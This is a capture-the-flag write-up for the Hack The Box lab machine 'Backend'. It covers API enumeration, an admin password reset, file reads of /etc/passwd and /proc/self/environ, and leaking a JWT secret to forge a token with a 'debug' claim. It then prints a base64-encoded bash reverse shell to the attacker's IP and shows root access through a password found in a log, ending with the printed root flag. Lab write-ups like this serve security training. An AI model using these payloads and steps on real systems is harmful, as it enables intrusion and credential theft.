Backend
Recon
HTTP (80)

No frontend/landing page probably means we are dealing with API itself.
└─$ feroxbuster -u 'http://10.129.227.148/' -w /usr/share/seclists/Discovery/Web-Content/api/api-endpoints-res.txt --thorough -D -S 22
200 GET 1l 4w 29c http://10.129.227.148/
200 GET 1l 1w 20c http://10.129.227.148/api
307 GET 0l 0w 0c http://10.129.227.148/docs/ => http://10.129.227.148/docs
401 GET 1l 2w 30c http://10.129.227.148/docs
200 GET 1l 4w 29c http://10.129.227.148/?:
└─$ curl http://10.129.227.148/api
{"endpoints":["v1"]}
└─$ curl http://10.129.227.148/api/v1
{"endpoints":["user","admin"]}
└─$ curl http://10.129.227.148/api/v1/user
{"detail":"Not Found"}
└─$ curl http://10.129.227.148/api/v1/admin
└─$ curl http://10.129.227.148/api/v1/admin -iL
HTTP/1.1 307 Temporary Redirect
date: Sat, 21 Dec 2024 12:16:37 GMT
server: uvicorn
location: http://10.129.227.148/api/v1/admin/
Transfer-Encoding: chunked
HTTP/1.1 401 Unauthorized
date: Sat, 21 Dec 2024 12:16:37 GMT
server: uvicorn
www-authenticate: Bearer
content-length: 30
content-type: application/json
{"detail":"Not authenticated"}
For user it returns nothing, but if we search by id inside path it returns objects.
└─$ curl http://10.129.227.148/api/v1/user/1
{"guid":"36c2e94a-4271-4259-93bf-c96ad5948284","email":"admin@htb.local","date":null,"time_created":1649533388111,"is_superuser":true,"id":1}
└─$ curl http://10.129.227.148/api/v1/user/0
null
└─$ curl http://10.129.227.148/api/v1/user/2
null
└─$ curl http://10.129.227.148/api/v1/user/letmein
{"detail":[{"loc":["path","user_id"],"msg":"value is not a valid integer","type":"type_error.integer"}]}
└─$ feroxbuster -u 'http://10.129.227.148/api/v1/user' -w /usr/share/seclists/Discovery/Web-Content/common.txt --thorough -D -S 104,22,4,31,0 -m GET,POST
200 GET 1l 1w 141c http://10.129.227.148/api/v1/user/01
200 GET 1l 1w 141c http://10.129.227.148/api/v1/user/1
422 POST 1l 3w 172c http://10.129.227.148/api/v1/user/login
422 POST 1l 2w 81c http://10.129.227.148/api/v1/user/signup
TIL: A 422 status code indicates that the server was unable to process the request because it contains invalid data.
└─$ curl http://10.129.227.148/api/v1/user/signup --json '{"email": "let@me.in", "password": "let@me.in"}' -i
HTTP/1.1 201 Created
date: Sat, 21 Dec 2024 12:27:41 GMT
server: uvicorn
content-length: 2
content-type: application/json
{}
For some reason login
endpoint didn't like the json data?
└─$ curl http://10.129.227.148/api/v1/user/login --json '{"username": "let", "password": "let@me.in"}' -i
HTTP/1.1 422 Unprocessable Entity
date: Sat, 21 Dec 2024 12:29:55 GMT
server: uvicorn
content-length: 172
content-type: application/json
{"detail":[{"loc":["body","username"],"msg":"field required","type":"value_error.missing"},{"loc":["body","password"],"msg":"field required","type":"value_error.missing"}]}
└─$ curl http://10.129.227.148/api/v1/user/login -d 'username=let@me.in&password=let@me.in' -i
HTTP/1.1 200 OK
date: Sat, 21 Dec 2024 12:30:23 GMT
server: uvicorn
content-length: 301
content-type: application/json
{"access_token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ0eXBlIjoiYWNjZXNzX3Rva2VuIiwiZXhwIjoxNzM1NDc1Nzk2LCJpYXQiOjE3MzQ3ODQ1OTYsInN1YiI6IjIiLCJpc19zdXBlcnVzZXIiOmZhbHNlLCJndWlkIjoiNzMwODk1YzctNGJkNi00MDBmLTk0ODktY2U5ZGFmZmI5NzI1In0.2I4hRTVd_GlTV5UBDozsxiOep0jLoqJFr479r_0Bv-w","token_type":"bearer"}
We can't access admin endpoints, but we can access the /docs
. We get access denied, but most probably because we need this header everywhere we go on /docs
and with curl we only have it on this http request.
└─$ curl http://10.129.227.148/docs -H 'Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ0eXBlIjoiYWNjZXNzX3Rva2VuIiwiZXhwIjoxNzM1NDc1Nzk2LCJpYXQiOjE3MzQ3ODQ1OTYsInN1YiI6IjIiLCJpc19zdXBlcnVzZXIiOmZhbHNlLCJndWlkIjoiNzMwODk1YzctNGJkNi00MDBmLTk0ODktY2U5ZGFmZmI5NzI1In0.2I4hRTVd_GlTV5UBDozsxiOep0jLoqJFr479r_0Bv-w'
<!DOCTYPE html>
<html>
<head>
<link type="text/css" rel="stylesheet" href="https://cdn.jsdelivr.net/npm/swagger-ui-dist@3/swagger-ui.css">
<link rel="shortcut icon" href="https://fastapi.tiangolo.com/img/favicon.png">
<title>docs</title>
</head>
<body>
<div id="swagger-ui">
</div>
<script src="https://cdn.jsdelivr.net/npm/swagger-ui-dist@3/swagger-ui-bundle.js"></script>
<!-- `SwaggerUIBundle` is now available on the page -->
<script>
const ui = SwaggerUIBundle({
url: '/openapi.json',
"dom_id": "#swagger-ui",
"layout": "BaseLayout",
"deepLinking": true,
"showExtensions": true,
"showCommonExtensions": true,
presets: [
SwaggerUIBundle.presets.apis,
SwaggerUIBundle.SwaggerUIStandalonePreset
],
})
</script>
</body>
</html>
Using Match And Replace Rules add this header to every request from Burp.

Now the docs are properly loaded

User.txt

Privilege Escalation (admin)
We can update passwords. If we try to update admin's password it's a success.

We can re authorize from Swagger API and we should probably turn that Match And Replace Rule off.

/api/v1/admin/exec/{command}
route allows executing commands, but requires "Debug Key"?

We can query the files via /api/v1/admin/file
There's 2 users
└─$ curl 'http://10.129.227.148/api/v1/admin/file' -s -H "$(cat auth_token)" --json '{"file": "/etc/passwd"}' | jq -r .file | grep sh$
root:x:0:0:root:/root:/bin/bash
htb:x:1000:1000:htb:/home/htb:/bin/bash
Dump environment for this application:
└─$ curl 'http://10.129.227.148/api/v1/admin/file' -s -H "$(cat auth_token)" --json '{"file": "/proc/self/environ"}' | jq -r .file | tr '\0' '\n'
APP_MODULE=app.main:app
PWD=/home/htb/uhc
LOGNAME=htb
PORT=80
HOME=/home/htb
LANG=C.UTF-8
VIRTUAL_ENV=/home/htb/uhc/.venv
INVOCATION_ID=17f4dc4dd4b74c21bffaf9822896b9f5
HOST=0.0.0.0
USER=htb
SHLVL=0
PS1=(.venv)
JOURNAL_STREAM=9:18400
PATH=/home/htb/uhc/.venv/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
OLDPWD=/
└─$ curl 'http://10.129.227.148/api/v1/admin/file' -s -H "$(cat auth_token)" --json '{"file": "/proc/self/cmdline"}' | jq -r .file | tr '\0' ' '
/home/htb/uhc/.venv/bin/python3 -c from multiprocessing.spawn import spawn_main; spawn_main(tracker_fd=5, pipe_handle=7) --multiprocessing-fork
PWD
denotes the root directory, APP_MODULE
denotes path to application from root
└─$ curl 'http://10.129.227.148/api/v1/admin/file' -s -H "$(cat auth_token)" --json '{"file": "/home/htb/uhc/app/main.py"}' | jq -r .file
import asyncio
from fastapi import FastAPI, APIRouter, Query, HTTPException, Request, Depends
from fastapi_contrib.common.responses import UJSONResponse
from fastapi import FastAPI, Depends, HTTPException, status
from fastapi.security import HTTPBasic, HTTPBasicCredentials
from fastapi.openapi.docs import get_swagger_ui_html
from fastapi.openapi.utils import get_openapi
from typing import Optional, Any
from pathlib import Path
from sqlalchemy.orm import Session
from app.schemas.user import User
from app.api.v1.api import api_router
from app.core.config import settings
from app import deps
from app import crud
app = FastAPI(title="UHC API Quals", openapi_url=None, docs_url=None, redoc_url=None)
root_router = APIRouter(default_response_class=UJSONResponse)
@app.get("/", status_code=200)
def root():
"""
Root GET
"""
return {"msg": "UHC API Version 1.0"}
@app.get("/api", status_code=200)
def list_versions():
"""
Versions
"""
return {"endpoints":["v1"]}
@app.get("/api/v1", status_code=200)
def list_endpoints_v1():
"""
Version 1 Endpoints
"""
return {"endpoints":["user", "admin"]}
@app.get("/docs")
async def get_documentation(current_user: User = Depends(deps.parse_token)):
return get_swagger_ui_html(openapi_url="/openapi.json", title="docs")
@app.get("/openapi.json")
async def openapi(current_user: User = Depends(deps.parse_token)):
return get_openapi(title = "FastAPI", version="0.1.0", routes=app.routes)
app.include_router(api_router, prefix=settings.API_V1_STR)
app.include_router(root_router)
def start():
import uvicorn
uvicorn.run(app, host="0.0.0.0", port=8001, log_level="debug")
if __name__ == "__main__":
# Use this for debugging purposes only
import uvicorn
uvicorn.run(app, host="0.0.0.0", port=8001, log_level="debug")
Get config:
└─$ curl 'http://10.129.227.148/api/v1/admin/file' -s -H "$(cat auth_token)" --json '{"file": "/home/htb/uhc/app/core/config.py"}' | jq -r .file
from pydantic import AnyHttpUrl, BaseSettings, EmailStr, validator
from typing import List, Optional, Union
from enum import Enum
class Settings(BaseSettings):
API_V1_STR: str = "/api/v1"
JWT_SECRET: str = "SuperSecretSigningKey-HTB"
ALGORITHM: str = "HS256"
# 60 minutes * 24 hours * 8 days = 8 days
ACCESS_TOKEN_EXPIRE_MINUTES: int = 60 * 24 * 8
# BACKEND_CORS_ORIGINS is a JSON-formatted list of origins
# e.g: '["http://localhost", "http://localhost:4200", "http://localhost:3000", \
# "http://localhost:8080", "http://local.dockertoolbox.tiangolo.com"]'
BACKEND_CORS_ORIGINS: List[AnyHttpUrl] = []
@validator("BACKEND_CORS_ORIGINS", pre=True)
def assemble_cors_origins(cls, v: Union[str, List[str]]) -> Union[List[str], str]:
if isinstance(v, str) and not v.startswith("["):
return [i.strip() for i in v.split(",")]
elif isinstance(v, (list, str)):
return v
raise ValueError(v)
SQLALCHEMY_DATABASE_URI: Optional[str] = "sqlite:///uhc.db"
FIRST_SUPERUSER: EmailStr = "root@ippsec.rocks"
class Config:
case_sensitive = True
settings = Settings()
We have the JWT secret, but we don't know what application is looking for when we want to execute commands.
└─$ curl 'http://10.129.227.148/api/v1/admin/file' -s -H "$(cat auth_token)" --json '{"file": "/home/htb/uhc/app/api/v1/api.py"}' | jq -r .file
from fastapi import APIRouter
from app.api.v1.endpoints import user, admin
api_router = APIRouter()
api_router.include_router(user.router, prefix="/user", tags=["user"])
api_router.include_router(admin.router, prefix="/admin", tags=["admin"])
└─$ curl 'http://10.129.227.148/api/v1/admin/file' -s -H "$(cat auth_token)" --json '{"file": "/home/htb/uhc/app/api/v1/endpoints/admin.py"}' | jq -r .file
import asyncio
from fastapi import APIRouter, Depends, HTTPException, Query, Request
from sqlalchemy.orm import Session
from typing import Any, Optional
from app import crud
from app.api import deps
from app import schemas
from app.schemas.admin import GetFile
from app.schemas.user import User
router = APIRouter()
@router.get("/", status_code=200)
def admin_check(*,current_user: User = Depends(deps.parse_token),db: Session = Depends(deps.get_db)) -> dict:
"""
Returns true if the user is admin
"""
return {"results": current_user['is_superuser'] }
@router.post("/file", status_code=200)
def get_file(file_in: GetFile,current_user: User = Depends(deps.parse_token),db: Session = Depends(deps.get_db) -> str:
"""
Returns a file on the server
"""
if not current_user['is_superuser']:
return {"msg": "Permission Error"}
with open(file_in.file) as f:
output = f.read()
return {"file": output}
@router.get("/exec/{command}", status_code=200)
def run_command(command: str,current_user: User = Depends(deps.parse_token),db: Session = Depends(deps.get_db)) -> str:
"""
Executes a command. Requires Debug Permissions.
"""
if "debug" not in current_user.keys():
raise HTTPException(status_code=400, detail="Debug key missing from JWT")
import subprocess
return subprocess.run(["/bin/sh","-c",command], stdout=subprocess.PIPE).stdout.strip()
We just need debug
to exist in our JWT session.
Update debug
to be anything, it just has to exist.


In the URL we are passing commands via path and /
is not handled well, to avoid that we can use base64 or curl over bash.
# https://www.revshells.com
└─$ echo '/bin/bash -c "/bin/bash -i >& /dev/tcp/10.10.14.123/4444 0>&1"' | basenc --base64url -w0
L2Jpbi9iYXNoIC1jICIvYmluL2Jhc2ggLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTQuMTIzLzQ0NDQgMD4mMSIK
Note: Normal base64 contains
+
and that's not good for URLs,basenc --base64url
fixes that.
GET /api/v1/admin/exec/echo%20L2Jpbi9iYXNoIC1jICIvYmluL2Jhc2ggLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTQuMTIzLzQ0NDQgMD4mMSIK|base64%20-d|bash HTTP/1.1
Host: 10.129.227.148
accept: application/json
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ0eXBlIjoiYWNjZXNzX3Rva2VuIiwiZXhwIjoxNzM1NDc3MTE0LCJpYXQiOjE3MzQ3ODU5MTQsInN1YiI6IjEiLCJkZWJ1ZyI6ImxldG1laW4iLCJpc19zdXBlcnVzZXIiOnRydWUsImd1aWQiOiIzNmMyZTk0YS00MjcxLTQyNTktOTNiZi1jOTZhZDU5NDgyODQifQ.tlAUO5VaLUtAB2micCYLQ5D42Q1eUU5cM3mwnt_Xals

Reverse Shell
(remote) htb@backend:/home/htb/uhc$ id
uid=1000(htb) gid=1000(htb) groups=1000(htb),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),116(lxd)
(remote) htb@backend:/home/htb/uhc$ ls
__pycache__ alembic.ini auth.log poetry.lock prestart.sh requirements.txt uhc.db
alembic app builddb.sh populateauth.py pyproject.toml run.sh
auth.log
in application directory is somewhat odd
(remote) htb@backend:/home/htb/uhc$ cat auth.log
...
12/21/2024, 11:46:56 - Login Success for admin@htb.local
12/21/2024, 11:55:16 - Login Failure for Tr0ub4dor&3
12/21/2024, 11:56:51 - Login Success for admin@htb.local
12/21/2024, 11:56:56 - Login Success for admin@htb.local
12/21/2024, 11:57:16 - Login Success for admin@htb.local
12/21/2024, 11:58:36 - Login Success for admin@htb.local
...
Tr0ub4dor&3
looks like a password?
Privilege Escalation
(remote) htb@backend:/home/htb/uhc$ su -
Password: Tr0ub4dor&3
root@backend:~# id
uid=0(root) gid=0(root) groups=0(root)
Root.txt
root@backend:~# cat /root/root.txt
2976a0cff96b29962cbd7266766b9f23
Last updated